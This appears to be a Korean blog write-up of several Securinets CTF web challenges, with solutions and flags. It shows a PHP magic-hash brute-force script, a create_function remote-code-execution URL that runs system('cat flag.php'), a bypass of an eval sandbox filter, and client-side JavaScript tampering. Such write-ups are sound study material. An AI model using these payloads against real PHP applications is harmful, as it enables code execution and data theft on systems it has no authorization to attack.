Lock - level 1
들어가보면 5자리 자물쇠가 나온다. 한 자리를 맞출때마다 응답 값에 현재 맞춘 자릿수의 개수를 알려준다.
총 5자리니까 최대 50번만 시도하면 각 자리수의 정답을 알수있다.
Eat'em all
들어가보면 선택가능한 옵션이 8가지가 있는데 최대 4가지 밖에 선택이 안된다. 자바스크립트에서 if (nomber>4) 이 조건을 대충 if(1>4) 이런식으로 수정해서 8개 다 클릭하고 요청하면 플래그 나온다.
Good job, take your flag: Securinets{HuNgRY_Pl4y3r}
MAGIC
들어가보면 위 소스를 제공해 준다. 조건에 맞는 값을 사용해주면 되는데 php의 type juggling을 사용해주면된다. 0e로 시작하는 값들을 brute forcing해서 위 조건에 맞는 값을 찾아주면 된다.
대충 아래와 같이 코드짜서 돌려줬다.
<?php
$base = "0e";
$result = "";
$curr_number = 215961018;
while (True){
$curr = $base . $curr_number;
$result = md5($curr);
if ($result==$curr){
break;
}
$curr_number += 1;
}
echo "Find Magic Value";
echo "<br>";
echo $curr;
echo "<br>";
echo $result;
echo "<br>";
Find Magic Value
0e215962017
0e291242476940776845150308577824
이제 찾은 0e215962017 요 값을 넣어주면 플래그가 나온다.
Securinets{Gg!H4K3Rm@N}
Token Prediction
전에 풀때는 세션 바꿔가면서 하니까 이상하게 돼서 풀때도 이상했는데, 지금다시 해보니까 잘 안된다. 요건 다시 풀리면 글 추가하도록 하겠다.
Follow me
문제에 들어가보면 아래와 같은 링크가 있다.
<a href="i#have#the?flag" class="btn-lg btn-block btn-primary">Free Flag</a> |
위 구조에 맞는 php 함수를 사용해주면된다. 아래와 같이 create_function의 취약점을 통해 RCE 해주면 된다. https://web6.ctfsecurinets.com/?_=create_function&__=}system('cat%20flag.php');// Flag = Securinets{Th1$_1$_N0t_Th3_FL@G} pHp knowledge 소스코드를 제공해주는데 아래와 같다. <?php $pi=$_POST['cmd']; if(!isset($pi)) {header("Location: tlol.jpg");die("noooooooooononononono\n");} if(preg_match('/(\_|\'|\"|`|\.|\$|\/|a|c|s|z|m|require|include)/i', $pi)) { header("Location: tlol.jpg");die("nooooooooooooonooo\n");} else{ eval($pi.";"); } ?> php sandbox류인데 필터를 적절히 우회해서 아래와 같이 리스팅이 가능했다. cmd=print(glob(~%d5)[11]) result = zzzzzzz__fl_ag.txt 위 flag파일을 url로 직접 요청해보면 플래그를 구할 수 있다. Securinets{I_ThiNk_U_R_G0oD_In_Peehp} |
'CTF > Writeup' 카테고리의 다른 글
Evlz CTF 2019 FindMe (0) | 2019.02.06 |
---|---|
Evlz CTF 2019 WeTheUsers (0) | 2019.02.04 |
Codegate CTF 2019 Preliminary Rich Project (0) | 2019.01.27 |
INSOMNIHACK CTF TEASER 2019 Phuck2 :( (0) | 2019.01.22 |
Insomnihack CTF Teaser 2019 l33t-hoster (0) | 2019.01.21 |